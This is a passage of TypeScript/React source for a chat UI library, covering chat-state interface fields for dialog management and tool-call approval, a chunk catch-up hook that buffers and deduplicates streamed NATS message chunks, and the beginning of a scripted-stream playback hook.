null;\n\n  /** Output tokens for the current turn (only known after stream end). */\n  currentOutputTokens: number | null;\n\n  /** Cache-hit % (read / total-input × 100). Only known after stream end. */\n  currentCacheHitRatePct: number | null;\n\n  /**\n   * Cross-call token-usage breakdown (Haiku rewriter/classifier/summarizer\n   * + routed-answer telemetry). Null until the SSE trailing usage frame\n   * arrives. Always null in Mingo mode.\n   */\n  currentUsageBreakdown: UnifiedUsageBreakdown | null;\n\n  // ─── Dialog management (Mingo: backend; Guide: localStorage) ──────────────\n  //\n  // All fields below are optional in practice: a transport adapter that\n  // doesn't manage multi-dialog history (older `useNatsChatAdapter`\n  // configs, the Guide adapter with localStorage disabled) returns the\n  // empty/null defaults so existing consumers keep working unchanged.\n  // Callers gate UI on `dialogs.length > 0` or `activeDialogId != null`.\n\n  /**\n   * History of dialogs available for the active mode. Mingo: paginated\n   * from the openframe backend. Guide: list of recent threads from\n   * localStorage. Empty when the active adapter doesn't expose dialog\n   * management.\n   */\n  dialogs: DialogItem[];\n\n  /** Currently-selected dialog id, or `null` when no dialog is active\n   *  (draft state — \"start a new conversation\"). */\n  activeDialogId: string | null;\n\n  /** Switch the panel to an existing dialog. Idempotent — selecting the\n   *  active id is a no-op. Pass `null` to drop back to draft state. */\n  selectDialog: (id: string | null) => void;\n\n  /** Allocate a fresh dialog on the backend (Mingo) or in localStorage\n   *  (Guide) and switch to it. Returns the new dialog id. When the\n   *  adapter doesn't support creation, resolves to `null`. */\n  startNewDialog: () => Promise<string | null>;\n\n  /** Delete a dialog from history. No-op (resolves) when the adapter doesn't\n   *  expose `deleteDialog`.\n   *\n   *  REJECTS when the backend call fails — the row is kept and the error is\n   *  re-thrown so a confirmation modal can stay open for a retry instead of\n   *  closing over a write that never landed. Callers must `await`/`.catch()`;\n   *  a bare `void state.deleteDialog(id)` produces an unhandled rejection. */\n  deleteDialog: (id: string) => Promise<void>;\n\n  /** Rename a dialog. Optimistically updates the title in the local list.\n   *  No-op (resolves) when the adapter doesn't expose a rename callback.\n   *\n   *  ALWAYS RESOLVES — unlike `deleteDialog` / `archiveDialog`. A failure rolls\n   *  the optimistic title back and is logged, never re-thrown, because\n   *  `useChatDialogManager` fires rename as `void renameDialog(...)` and closes\n   *  its modal immediately; rejecting here would only produce an unhandled\n   *  rejection. The rollback is the user-visible signal. */\n  renameDialog: (id: string, title: string) => Promise<void>;\n\n  /** Archive a dialog (removes it from the active list). No-op (resolves) when\n   *  the adapter doesn't expose an archive callback.\n   *  REJECTS on failure, keeping the row — see `deleteDialog`. */\n  archiveDialog: (id: string) => Promise<void>;\n\n  /** True while the dialog list is being fetched for the first time. */\n  isDialogsLoading: boolean;\n\n  /** True when the initial dialog-list load FAILED (e.g. backend down).\n   *  Lets the UI distinguish a load error from a genuinely empty list and\n   *  show a retry affordance instead of the new-user empty state. */\n  dialogsError: boolean;\n\n  /** Re-run the initial dialog-list load — retry after `dialogsError`. */\n  reloadDialogs: () => void;\n\n  /** True while message history for the active dialog is being fetched. */\n  isMessagesLoading: boolean;\n\n  /** Whether more dialogs remain on the server (Mingo cursor pagination). */\n  hasMoreDialogs: boolean;\n\n  /** Fetch the next page of dialogs. No-op when `hasMoreDialogs` is false. */\n  loadMoreDialogs: () => Promise<void>;\n\n  /** Ownership scope of `dialogs` — `'my'` (current user's chats) or `'all'`\n   *  (every admin's). Optional: adapters without ownership data omit it and\n   *  the \"My Chats / All Chats\" selector stays hidden. The HOST owns the\n   *  filtering — `dialogs` must already reflect this scope. */\n  dialogScope?: 'my' | 'all';\n\n  /** Switch the ownership scope — see `dialogScope`. */\n  setDialogScope?: (scope: 'my' | 'all') => void;\n\n  /** Whether more historical messages remain in the active dialog. */\n  hasMoreMessages: boolean;\n\n  /** Fetch the next page of historical messages for the active dialog. */\n  loadMoreMessages: () => Promise<void>;\n\n  /**\n   * THE conversation-list signal. Present iff this state owns a conversation\n   * list; absent = a single-thread panel. `EmbeddableChat` gates the whole\n   * history surface — rail, stacked list, archive page, rename/archive menus,\n   * header search — on its presence alone, so the panel never asks WHICH\n   * transport it is talking to. Each field inside it then gates one\n   * affordance, on the same rule the rest of this file uses: the presence of\n   * a callback IS the capability.\n   *\n   * Deliberately ONE field, not a `dialogsManaged` boolean beside an object:\n   * two signals derived from the same predicate can disagree, and every\n   * producer would have to remember to set both.\n   */\n  dialogCapabilities?: ChatDialogCapabilities;\n\n  // ─── Approval mutations (Mingo agent tool-call workflow) ──────────────────\n\n  /** Approve an in-flight tool-call request. Errors surface via the\n   *  host-supplied toast in the callback config (lib does not own UI). */\n  approveRequest: (requestId: string) => Promise<void>;\n\n  /** Reject an in-flight tool-call request. Optional `reason` is\n   *  forwarded to the backend when supported. */\n  rejectRequest: (requestId: string, reason?: string) => Promise<void>;\n\n  // ─── Per-dialog token usage (Mingo only) ──────────────────────────────────\n\n  /** Cumulative token usage for the active Mingo dialog. Null in Guide\n   *  mode or when the backend hasn't reported usage yet. Per-turn\n   *  metadata (`currentInputTokens` etc.) is orthogonal — that fires on\n   *  every SSE `message_start`, while this hydrates from the dialog\n   *  fetch + live `TOKEN_USAGE` events. */\n  dialogTokenUsage: DialogTokenUsage | null;\n\n  // ─── Connection state ─────────────────────────────────────────────────────\n\n  /** High-level transport connection state. Drives reconnect UI in\n   *  Mingo mode; always `'connected'` in Guide mode (SSE is request-\n   *  response and has no persistent socket to monitor). */\n  connectionState: ChatConnectionState;\n}\n","'use client';\n\nimport { useCallback, useEffect, useRef } from 'react';\nimport {\n  type ChunkData,\n  type BufferedChunk,\n  type NatsMessageType,\n  type ChatType,\n  type UseChunkCatchupOptions,\n  type UseChunkCatchupReturn,\n  CHAT_TYPE,\n  MESSAGE_TYPE,\n} from '../types';\n\n/**\n * Creates a unique key for sequence tracking\n */\nfunction makeSeqKey(messageType: NatsMessageType, chunkType: string, sequenceId: number): string {\n  return `${messageType}:${chunkType}:${sequenceId}`;\n}\n\n/**\n * Creates a unique key for batch deduplication\n */\nfunction makeBatchDedupKey(item: BufferedChunk): string {\n  const seq = item.chunk.sequenceId ?? 'na';\n  const type = typeof item.chunk.type === 'string' ? item.chunk.type : 'na';\n  const text = typeof item.chunk.text === 'string' ? item.chunk.text : '';\n  const integratedToolType = typeof item.chunk.integratedToolType === 'string' ? item.chunk.integratedToolType : '';\n  const toolFunction = typeof item.chunk.toolFunction === 'string' ? item.chunk.toolFunction : '';\n  const approvalRequestId =\n    typeof item.chunk.approvalRequestId === 'string'\n      ? item.chunk.approvalRequestId\n      : typeof item.chunk.approval_request_id === 'string'\n        ? item.chunk.approval_request_id\n        : '';\n\n  return `${item.messageType}:${seq}:${type}:${text}:${integratedToolType}:${toolFunction}:${approvalRequestId}`;\n}\n\n/**\n * Determines the message type for a given chat type\n */\nfunction getChatTypeMessageType(chatType: ChatType): NatsMessageType {\n  return chatType === CHAT_TYPE.ADMIN ? 'admin-message' : 'message';\n}\n\n/**\n * Hook for managing chunk catchup during dialog loading.\n *\n * This hook handles:\n * - Buffering NATS chunks that arrive during catchup\n * - Fetching historical chunks from the API\n * - Deduplicating and ordering chunks\n * - Processing chunks in the correct order\n */\nexport function useChunkCatchup({\n  dialogId,\n  onChunkReceived,\n  chatTypes = [CHAT_TYPE.CLIENT],\n  fetchChunks,\n}: UseChunkCatchupOptions): UseChunkCatchupReturn {\n  const processedSequenceKeys = useRef<Set<string>>(new Set());\n  const lastSequenceId = useRef<number | null>(null);\n  // Per-messageType resume checkpoints. The legacy Redis transport keeps an\n  // INDEPENDENT sequence counter per (dialog, chatType), so resuming every\n  // stream from the single global `lastSequenceId` would permanently skip\n  // the slower stream's newer chunks (one stream at seq 100, the other at\n  // 20 → resuming both from 100 loses the second stream's 21+).\n  const lastSequenceIdByType = useRef<Map<NatsMessageType, number>>(new Map());\n\n  // Identity of the catch-up run that currently OWNS the cycle (`null` = idle).\n  // Deliberately a token, not a boolean: `resetChunkTracking` releases the lock\n  // unconditionally and is followed straight away by a fresh `catchUpChunks()`,\n  // so a second run legitimately starts while the first is still awaiting its\n  // fetch — for the SAME dialog id whenever the host re-activates or re-opens\n  // the conversation it was already on (`active` flipped off/on, dialog id\n  // X → null → X). The dialog-identity staleness gate below cannot tell those\n  // two runs apart, so without an identity the older run would finalize the\n  // NEWER run's cycle, drain its buffer and hand its lock away. Every write\n  // this callback performs after an `await` therefore asks \"do I still own the\n  // cycle?\" by comparing against this token.\n  const catchupRun = useRef<object | null>(null);\n  const lastFetchParams = useRef<{ dialogId: string; fromSequenceId?: number | null } | null>(null);\n  // A catch-up requested while another fetch is in flight (double reconnect,\n  // reconnect during the initial catchup). Queued instead of dropped: the old\n  // behaviour returned early and the stale fetch's completion marked catchup\n  // done, so the new gap was never fetched — a permanent transcript hole.\n  // Scoped to its originating dialog — a rerun must never apply one dialog's\n  // offset to another after a switch.\n  const pendingCatchupRef = useRef<{ dialogId: string; fromSequenceId?: number | null } | null>(null);\n\n  // Buffer for NATS chunks that arrive during catchup\n  const chunkBuffer = useRef<BufferedChunk[]>([]);\n  const bufferUntilInitialCatchupComplete = useRef(false);\n  const hasCompletedInitialCatchup = useRef(false);\n\n  // Latest-ref mirrors of the options, so the identity-stable callbacks below\n  // never have to re-create themselves when a caller passes a fresh inline\n  // function. Refreshed in an unconditional effect rather than in the render\n  // body: React can discard a render attempt outright, and every reader here\n  // is a chunk callback or an awaited continuation, which can only run after a\n  // commit — so they still see current values.\n  const dialogIdRef = useRef(dialogId);\n  const chatTypesRef = useRef(chatTypes);\n  const fetchChunksRef = useRef(fetchChunks);\n  const onChunkReceivedRef = useRef(onChunkReceived);\n  useEffect(() => {\n    dialogIdRef.current = dialogId;\n    chatTypesRef.current = chatTypes;\n    fetchChunksRef.current = fetchChunks;\n    onChunkReceivedRef.current = onChunkReceived;\n  });\n\n  const processChunk = useCallback(\n    (chunk: ChunkData, messageType: NatsMessageType, forceProcess: boolean = false): boolean => {\n      if (bufferUntilInitialCatchupComplete.current && !forceProcess) {\n        chunkBuffer.current.push({ chunk, messageType });\n        return true;\n      }\n\n      if (chunk.sequenceId !== undefined && chunk.sequenceId !== null) {\n        const chunkType = typeof chunk.type === 'string' ? chunk.type : '';\n        const key = makeSeqKey(messageType, chunkType, chunk.sequenceId);\n        // A live chunk can also be in the catchup fetch result (published just\n        // before the fetch resolved, delivered just after the flush). Without\n        // this check the live path only RECORDED keys and never consulted\n        // them, so the overlap rendered twice (duplicated text / tool cards).\n        if (processedSequenceKeys.current.has(key)) return true;\n        processedSequenceKeys.current.add(key);\n        lastSequenceId.current = chunk.sequenceId;\n        const prevTypeSeq = lastSequenceIdByType.current.get(messageType);\n        if (prevTypeSeq === undefined || chunk.sequenceId > prevTypeSeq) {\n          lastSequenceIdByType.current.set(messageType, chunk.sequenceId);\n        }\n      }\n\n      onChunkReceivedRef.current(chunk, messageType);\n      return true;\n    },\n    [],\n  );\n\n  /**\n   * Flush buffered realtime chunks after catchup is complete\n   */\n  const flushBufferedRealtimeChunks = useCallback(() => {\n    if (chunkBuffer.current.length === 0) return;\n    const buffered = [...chunkBuffer.current];\n    chunkBuffer.current = [];\n\n    // Chunks WITHOUT a sequence id are live deliveries — the newest events.\n    // Sorting them as seq 0 (the old behaviour) pushed them BEFORE history.\n    buffered.sort((a, b) => {\n      const seqA = a.chunk.sequenceId ?? Number.MAX_SAFE_INTEGER;\n      const seqB = b.chunk.sequenceId ?? Number.MAX_SAFE_INTEGER;\n      return seqA - seqB;\n    });\n\n    buffered.forEach(({ chunk, messageType }) => {\n      processChunk(chunk, messageType, true);\n    });\n  }, [processChunk]);\n\n  /**\n   * Close the catch-up window: stop buffering, mark the cycle complete.\n   *\n   * Extracted because the same two-step transition is the terminal state of\n   * four different exits from `catchUpChunks`, and because every one of them\n   * happens AFTER an await — so each call site must first establish that this\n   * run still owns the cycle (`catchupRun.current === run`). Finalizing from a\n   * superseded run ends the newer run's buffering window early: its buffered\n   * live chunks are flushed into the stale batch, and everything the newer\n   * fetch later delivers sits at or below the seq cursor the flush just\n   * advanced — which the reducer drops. That is silent content loss.\n   */\n  const completeCatchupWindow = useCallback(() => {\n    bufferUntilInitialCatchupComplete.current = false;\n    hasCompletedInitialCatchup.current = true;\n  }, []);\n\n  /**\n   * Re-arm the cycle so a queued re-run is not rejected by its own guards.\n   * Same ownership precondition as `completeCatchupWindow`.\n   */\n  const rearmForQueuedCatchup = useCallback(() => {\n    hasCompletedInitialCatchup.current = false;\n    lastFetchParams.current = null;\n    bufferUntilInitialCatchupComplete.current = true;\n  }, []);\n\n  // Self-reference for the queued re-run inside `catchUpChunks` (a callback\n  // cannot name itself inside its own `useCallback` initializer). Declared\n  // ABOVE the callback so the reference is not a forward one; the ref is only\n  // READ at runtime, and `.current` is assigned right after the callback exists.\n  const catchUpChunksRef = useRef<typeof catchUpChunks | null>(null);\n\n  /**\n   * Fetch and process chunks from the API\n   */\n  const catchUpChunks = useCallback(\n    async (fromSequenceId?: number | null) => {\n      // Read through the refs, never the props: this callback is deliberately\n      // stable, so the destructured `dialogId`/`chatTypes`/`fetchChunks` in its\n      // closure are whatever they were on the render that created it. The\n      // `current` prefix is load-bearing — it is the only thing telling a reader\n      // which of the two values they are looking at.\n      const currentDialogId = dialogIdRef.current;\n      const currentChatTypes = chatTypesRef.current;\n      const currentFetchChunks = fetchChunksRef.current;\n\n      if (!currentDialogId) {\n        return;\n      }\n\n      if (hasCompletedInitialCatchup.current) {\n        // Safety valve: never leave the buffering flag stuck on a completed\n        // catchup — buffered live chunks would otherwise queue forever and the\n        // dialog would look frozen.\n        if (bufferUntilInitialCatchupComplete.current) {\n          bufferUntilInitialCatchupComplete.current = false;\n          flushBufferedRealtimeChunks();\n        }\n        return;\n      }\n\n      if (catchupRun.current !== null) {\n        // Queue instead of dropping — the in-flight fetch's finally block\n        // re-runs catch-up with these params once it settles. An explicit\n        // fromSequenceId wins; a queued INITIAL call (undefined) falls back to\n        // the last seq seen so far (null on a fresh dialog → backend returns\n        // everything, same as the original undefined semantics).\n        pendingCatchupRef.current = {\n          dialogId: currentDialogId,\n          fromSequenceId: fromSequenceId ?? lastSequenceId.current,\n        };\n        return;\n      }\n\n      if (\n        lastFetchParams.current &&\n        lastFetchParams.current.dialogId === currentDialogId &&\n        lastFetchParams.current.fromSequenceId === fromSequenceId\n      ) {\n        return;\n      }\n\n      if (!currentFetchChunks) {\n        completeCatchupWindow();\n        flushBufferedRealtimeChunks();\n        return;\n      }\n\n      // Identity of THIS run, installed as the cycle lock. Every post-await\n      // write below is gated on it still being the installed token.\n      const run: object = {};\n      catchupRun.current = run;\n      lastFetchParams.current = { dialogId: currentDialogId, fromSequenceId };\n\n      try {\n        // Fetch chunks for all configured chat types\n        const chunkPromises = currentChatTypes.map(async chatType => {\n          try {\n            // Resume each stream from ITS OWN checkpoint: the legacy Redis\n            // transport numbers each (dialog, chatType) stream independently,\n            // so passing one global offset to every type would skip the slower\n            // stream's newer chunks. `undefined` (initial load) still fetches\n            // everything; a type we've never seen resumes from null (= all\n            // unsaved chunks) rather than borrowing another stream's offset.\n            const typeFromSequenceId =\n              fromSequenceId === undefined\n                ? undefined\n                : (lastSequenceIdByType.current.get(getChatTypeMessageType(chatType)) ?? null);\n            const chunks = await currentFetchChunks(currentDialogId, chatType, typeFromSequenceId);\n            const messageType = getChatTypeMessageType(chatType);\n            return chunks.map(chunk => ({ chunk, messageType }));\n          } catch (error) {\n            console.error(`Failed to fetch ${chatType} chunks:`, error);\n            return [];\n          }\n        });\n\n        const allChunkResults = await Promise.all(chunkPromises);\n\n        // STALENESS GATE — the FIRST thing after the await, because everything\n        // below this line is bound to the CURRENTLY active dialog, not to the one\n        // this fetch was issued for:\n        //   - `onChunkReceivedRef.current` is reassigned every render, so it\n        //     routes into whichever dialog's reducer is mounted now;\n        //   - `processedSequenceKeys` / `lastSequenceId` / `lastSequenceIdByType`\n        //     were re-armed by `resetChunkTracking` for the new dialog;\n        //   - `chunkBuffer` holds the NEW dialog's buffered live deliveries;\n        //   - `hasCompletedInitialCatchup` / `bufferUntilInitialCatchupComplete`\n        //     govern the NEW dialog's buffering window.\n        // So a fetch that resolved after a dialog switch used to write dialog A's\n        // transcript into dialog B AND advance B's seq cursor to A's JetStream\n        // sequence — and because the reducer drops any event at or below\n        // `lastAppliedSeq`, an unrelated (higher) position permanently discards\n        // B's own live chunks. Switching dialogs mid-fetch is the ordinary\n        // interaction, not an edge case.\n        //\n        // The `finally` below already handles stale bookkeeping correctly (it\n        // keeps the new dialog's cycle intact and only discards a pending entry\n        // belonging to THIS dialog); it still runs on this early return. The\n        // guard could not live there — by then the chunks had already been\n        // applied.\n        if (currentDialogId !== dialogIdRef.current) return;\n\n        // SUPERSEDED GATE — the dialog id is not enough. `resetChunkTracking`\n        // releases the lock and the very next statement in the adapter starts a\n        // fresh `catchUpChunks()`, so two runs overlap for the SAME dialog id\n        // whenever the host re-activates the conversation it was already on\n        // (`active` off/on, or dialog id X → null → X) while this fetch is still\n        // open. Both runs then pass the identity gate above. Applying this run's\n        // now-older snapshot would advance the seq cursor past what the newer\n        // run is about to deliver, and the reducer drops anything at or below\n        // `lastAppliedSeq` — the newer chunks vanish from the transcript.\n        // Dropping the superseded run loses nothing: the run that replaced it\n        // was started by `resetChunkTracking`, which re-fetches from scratch.\n        if (catchupRun.current !== run) return;\n\n        const allCatchupChunks: BufferedChunk[] = allChunkResults.flat();\n\n        if (allCatchupChunks.length === 0) {\n          flushBufferedRealtimeChunks();\n          completeCatchupWindow();\n          return;\n        }\n\n        // Combine catchup chunks with buffered NATS chunks\n        const bufferedNatsChunks = [...chunkBuffer.current];\n        chunkBuffer.current = [];\n        const allChunks = [...allCatchupChunks, ...bufferedNatsChunks];\n\n        // Sort by sequence ID. Chunks without one are buffered live deliveries\n        // (the newest events) — sort them AFTER history, not before it.\n        allChunks.sort((a, b) => {\n          const seqA = a.chunk.sequenceId ?? Number.MAX_SAFE_INTEGER;\n          const seqB = b.chunk.sequenceId ?? Number.MAX_SAFE_INTEGER;\n          return seqA - seqB;\n        });\n\n        // Deduplicate — only chunks that carry a sequence id. Id-less live\n        // chunks get no key: two identical streaming deltas (\"the \", \"yes\")\n        // are distinct content, and collapsing them (the old behaviour, where\n        // the key degraded to type+text) silently dropped text.\n        const uniqueAllChunks: BufferedChunk[] = [];\n        const seenInBatch = new Set<string>();\n        for (const item of allChunks) {\n          const hasSeq = item.chunk.sequenceId !== undefined && item.chunk.sequenceId !== null;\n          if (hasSeq) {\n            const k = makeBatchDedupKey(item);\n            if (seenInBatch.has(k)) continue;\n            seenInBatch.add(k);\n          }\n          uniqueAllChunks.push(item);\n        }\n\n        // Id-less chunks are buffered live deliveries (newer than anything the\n        // fetch returned) — the boundary filters must KEEP them, not drop them.\n        // Returns the chunk's seq, collapsing `undefined` to `null`. Reading it\n        // into a local inside each filter is what lets the comparisons below\n        // typecheck without a non-null assertion: a predicate call cannot\n        // narrow `item.chunk.sequenceId` for the expression that follows it.\n        const seqOf = (item: BufferedChunk): number | null => item.chunk.sequenceId ?? null;\n\n        // Boundary detection runs PER messageType. In the legacy Redis\n        // transport each (dialog, chatType) stream has its OWN independent\n        // sequence counter, so a MESSAGE_END boundary found in one stream must\n        // never truncate the other stream's chunks (tool/approval chunks of an\n        // admin mirror used to vanish this way). With JetStream's global seqs\n        // the per-type grouping is still correct — it just partitions the same\n        // ordered list.\n        const byType = new Map<NatsMessageType, BufferedChunk[]>();\n        for (const item of uniqueAllChunks) {\n          const list = byType.get(item.messageType);\n          if (list) list.push(item);\n          else byType.set(item.messageType, [item]);\n        }\n\n        const chunksToProcess: BufferedChunk[] = [];\n        for (const items of byType.values()) {\n          // Find the last complete message boundary within this stream.\n          let lastMessageStartSeqId: number | null = null;\n          let lastMessageEndSeqId: number | null = null;\n\n          for (let i = items.length - 1; i >= 0; i--) {\n            const seq = items[i].chunk.sequenceId;\n            if (items[i].chunk.type === MESSAGE_TYPE.MESSAGE_END && seq !== undefined && seq !== null) {\n              lastMessageEndSeqId = seq;\n              break;\n            }\n          }\n\n          for (let i = items.length - 1; i >= 0; i--) {\n            const chunk = items[i].chunk;\n            const seq = chunk.sequenceId;\n            if (chunk.type === MESSAGE_TYPE.MESSAGE_START && seq !== undefined && seq !== null) {\n              if (lastMessageEndSeqId === null || seq > lastMessageEndSeqId) {\n                lastMessageStartSeqId = seq;\n                break;\n              }\n            }\n          }\n\n          if (lastMessageStartSeqId !== null) {\n            // Process from the last incomplete message\n            const startSeq = lastMessageStartSeqId;\n            chunksToProcess.push(\n              ...items.filter(item => {\n                const seq = seqOf(item);\n                return seq === null || seq >= startSeq;\n              }),\n            );\n          } else if (lastMessageEndSeqId !== null) {\n            // Process only after the last complete message\n            const endSeq = lastMessageEndSeqId;\n            chunksToProcess.push(\n              ...items.filter(item => {\n                const seq = seqOf(item);\n                return seq === null || seq > endSeq;\n              }),\n            );\n          } else {\n            // Process all\n            chunksToProcess.push(...items);\n          }\n        }\n\n        // Restore cross-stream order (concatenation above grouped by type).\n        // Stable sort keeps per-type order; JetStream seqs interleave globally,\n        // Redis-mode cross-type order is inherently undefined either way.\n        chunksToProcess.sort((a, b) => {\n          const seqA = a.chunk.sequenceId ?? Number.MAX_SAFE_INTEGER;\n          const seqB = b.chunk.sequenceId ?? Number.MAX_SAFE_INTEGER;\n          return seqA - seqB;\n        });\n\n        // Process the chunks\n        chunksToProcess.forEach(({ chunk, messageType }) => {\n          if (chunk.sequenceId !== undefined && chunk.sequenceId !== null) {\n            const chunkType = typeof chunk.type === 'string' ? chunk.type : '';\n            const key = makeSeqKey(messageType, chunkType, chunk.sequenceId);\n            if (processedSequenceKeys.current.has(key)) return;\n            processedSequenceKeys.current.add(key);\n            lastSequenceId.current = chunk.sequenceId;\n            const prevTypeSeq = lastSequenceIdByType.current.get(messageType);\n            if (prevTypeSeq === undefined || chunk.sequenceId > prevTypeSeq) {\n              lastSequenceIdByType.current.set(messageType, chunk.sequenceId);\n            }\n          }\n          onChunkReceivedRef.current(chunk, messageType);\n        });\n\n        completeCatchupWindow();\n      } catch (error) {\n        console.error('Error during chunk catchup:', error);\n      } finally {\n        // OWNERSHIP GATE — a run that no longer holds the lock was superseded by\n        // `resetChunkTracking` + a newer `catchUpChunks()`, and every piece of\n        // state below now belongs to that newer run: releasing the lock here\n        // would let a THIRD catch-up start concurrently instead of queueing, and\n        // the pending entry it would discard was queued by (and for) the newer\n        // run. So a superseded run touches nothing at all.\n        if (catchupRun.current === run) {\n          // A fetch whose dialog is no longer active must not touch the NEW\n          // dialog's cycle state — `resetChunkTracking` already re-armed the\n          // flags for it, and finalizing the buffer here would corrupt the new\n          // dialog's in-flight catch-up. That includes the pending queue: only\n          // discard an entry that belongs to THIS stale dialog — a reconnect\n          // during the new dialog's initial fetch queues an entry for the new\n          // dialog, and wiping it here would silently drop that gap's re-fetch\n          // (permanent transcript hole).\n          if (currentDialogId !== dialogIdRef.current) {\n            catchupRun.current = null;\n            if (pendingCatchupRef.current?.dialogId === currentDialogId) {\n              pendingCatchupRef.current = null;\n            }\n          } else {\n            catchupRun.current = null;\n\n            // A reset was requested mid-fetch: re-arm and re-run with the queued\n            // params instead of finalizing on this (stale) fetch's results. The\n            // success path above may have already flipped the completion flags —\n            // reset them so the re-run isn't rejected by its own guards. A\n            // pending entry from a DIFFERENT dialog is discarded, never replayed\n            // against the current one.\n            //\n            // KNOWN LIMIT: the stale fetch may already have processed (and\n            // flushed) chunks NEWER than the queued gap, so on an extreme\n            // double-flap the gap's chunks can render after later ones — order\n            // skew inside the bubble, but no content loss (strictly better than\n            // the pre-fix permanent hole). Perfect ordering would require holding\n            // the stale fetch's flush until the re-run completes, which isn't\n            // worth the complexity for this corner.\n            const pending = pendingCatchupRef.current;\n            if (pending) {\n              pendingCatchupRef.current = null;\n              if (pending.dialogId === currentDialogId) {\n                rearmForQueuedCatchup();\n                // AWAIT the re-run (not fire-and-forget): callers chain their own\n                // finally on this promise — the adapter lowers its onAgentBusy\n                // suppression there, and a detached re-run would replay a dead\n                // tail's EXECUTING chunk with suppression already off, locking\n                // the composer with no MESSAGE_END ever coming.\n                try {\n                  await catchUpChunksRef.current?.(pending.fromSequenceId);\n                } catch (rerunError) {\n                  console.error('Queued catch-up re-run failed:', rerunError);\n                }\n              } else if (bufferUntilInitialCatchupComplete.current) {\n                completeCatchupWindow();\n                flushBufferedRealtimeChunks();\n              }\n            } else if (bufferUntilInitialCatchupComplete.current) {\n              completeCatchupWindow();\n              flushBufferedRealtimeChunks();\n            }\n          }\n        }\n      }\n    },\n    [flushBufferedRealtimeChunks, completeCatchupWindow, rearmForQueuedCatchup],\n  );\n\n  // Self-reference so a run can re-enter itself for a queued catch-up without\n  // `catchUpChunks` having to depend on its own identity. Published from an\n  // effect, not the render body — the only reader is an awaited continuation,\n  // which is always past a commit.\n  useEffect(() => {\n    catchUpChunksRef.current = catchUpChunks;\n  });\n\n  /**\n   * Reset all tracking state\n   */\n  const resetChunkTracking = useCallback(() => {\n    processedSequenceKeys.current.clear();\n    lastSequenceId.current = null;\n    lastSequenceIdByType.current.clear();\n    // Disown any run still awaiting its fetch. It cannot re-acquire the lock\n    // (the next run installs its own token), so from here on it is a no-op —\n    // that is the whole point of the token: the old code left `false` behind,\n    // which is indistinguishable from \"idle\", so the superseded run went on to\n    // finalize the NEW cycle and release its lock.\n    catchupRun.current = null;\n    lastFetchParams.current = null;\n    pendingCatchupRef.current = null;\n    chunkBuffer.current = [];\n    bufferUntilInitialCatchupComplete.current = false;\n    hasCompletedInitialCatchup.current = false;\n  }, []);\n\n  /**\n   * Start buffering NATS chunks for initial catchup\n   */\n  const startInitialBuffering = useCallback(() => {\n    // Idempotent: a second reconnect while a back-fill is already buffering\n    // (its history refetch still awaiting) must NOT clear the live chunks\n    // collected so far — only a fresh start owns the buffer.\n    if (!bufferUntilInitialCatchupComplete.current) {\n      chunkBuffer.current = [];\n      bufferUntilInitialCatchupComplete.current = true;\n    }\n    hasCompletedInitialCatchup.current = false;\n  }, []);\n\n  /**\n   * Check if buffering is currently active\n   */\n  const isBufferingActive = useCallback(() => bufferUntilInitialCatchupComplete.current, []);\n\n  /**\n   * Number of chunks de-duplicated so far. A GETTER, like `isBufferingActive`:\n   * the count changes in chunk callbacks with no re-render behind it, so the\n   * old snapshot-at-render-time `number` reported whatever the tally happened\n   * to be at the last render and then silently went stale.\n   */\n  const processedCount = useCallback(() => processedSequenceKeys.current.size, []);\n\n  /**\n   * Reset internal guards and re-run catch-up from the last known sequence ID.\n   * Use after reconnection to fetch any messages missed during the disconnect.\n   */\n  const resetAndCatchUp = useCallback(async () => {\n    if (!dialogIdRef.current) return;\n    const fromSeq = lastSequenceId.current;\n    hasCompletedInitialCatchup.current = false;\n    lastFetchParams.current = null;\n    if (!bufferUntilInitialCatchupComplete.current) {\n      // Starting buffering fresh — drop stale leftovers. When the CALLER\n      // already armed buffering (e.g. `startInitialBuffering()` before an\n      // async history refetch on reconnect), KEEP the chunks it collected:\n      // clearing here would silently discard everything delivered during\n      // that await.\n      chunkBuffer.current = [];\n      bufferUntilInitialCatchupComplete.current = true;\n    }\n    await catchUpChunks(fromSeq);\n  }, [catchUpChunks]);\n\n  return {\n    catchUpChunks,\n    processChunk,\n    resetChunkTracking,\n    startInitialBuffering,\n    isBufferingActive,\n    processedCount,\n    resetAndCatchUp,\n  };\n}\n","'use client';\n\n/**\n * Playback clock for {@link buildStreamFrames}: advance through pre-built\n * scripted frames like a live chat stream — each frame holds for its own\n * `delayMs`, then the next reveals, parking on the last. Surface-agnostic: the\n * caller maps `frame.messages` to its own chat shape and reads `frame.phase` /\n * `frame.typing`.\n *\n * `resetKey` restarts playback from the top when a NEW conversation is selected\n * (identity change) — NOT when the SAME conversation grows (e.g. an Approve\n * appends its continuation), which must resume from where it paused. Because the\n * frame list's shared prefix is deterministic, keeping the index across a grow\n * resumes seamlessly into the appended frames.\n *\n * `prefers-reduced-motion` (or `enabled === false`) jumps straight to the final\n * frame (everything revealed, idle).\n */\n\nimport { useEffect, useState } from 'react';\nimport type { StreamFrame } from '../utils/scripted-stream';\n\nconst EMPTY_FRAME: StreamFrame = { messages: [], phase: 'idle', typing: false, delayMs: 0 };\n\nfunction prefersReducedMotion(): boolean {\n  return typeof window !== 'undefined' && window.matchMedia?.('(prefers-reduced-motion: reduce)').matches === true;\n}\n\nexport function useScriptedStream(frames: StreamFrame[], resetKey: unknown, enabled = true): StreamFrame {\n  const [index, setIndex] = useState(0);\n  const [reducedMotion, setReducedMotion] = useState(false);\n\n  // Restart from the top on a new conversation, synchronously during render\n  // (React's \"adjust state on prop change\" pattern) so the previous stream's\n  // last frame never flashes before the reset effect runs.\n  const [prevKey, setPrevKey] = useState(resetKey);\n  if (resetKey !== prevKey) {\n    setPrevKey(resetKey);\n    setIndex(0);\n  }\n\n  // The media query is the external system and its `change` event is the\n  // subscription; the initial read shares the subscription's callback rather\n  // than being a separate setState in the effect body. `matchMedia` is not\n  // readable during SSR, which is why this cannot be a lazy `useState`.\n  useEffect(() => {\n    const mq = window.matchMedia?.('(prefers-reduced-motion: reduce)');\n    const sync = () => setReducedMotion(mq ? mq.matches : prefersReducedMotion());\n    sync();\n    if (!mq) return undefined;\n    mq.addEventListener('change', sync);\n    return () => mq.removeEventListener('change', sync);\n  }, []);\n\n  const playing = enabled && !reducedMotion && frames.length > 0;\n  const lastIndex = Math.max(0, frames.length - 1);\n\n  // Advance one frame after the current frame's hold. When `frames` grows (an\n  // Approve appends more), this effect re-runs and, if we were parked on the old\n  // last frame, schedules the next — resuming the stream. `frames[index]` is\n  // clamped because a shrink (a shorter new conversation before the reset lands)\n  // could momentarily leave `index` past the end.\n  useEffect(() => {\n    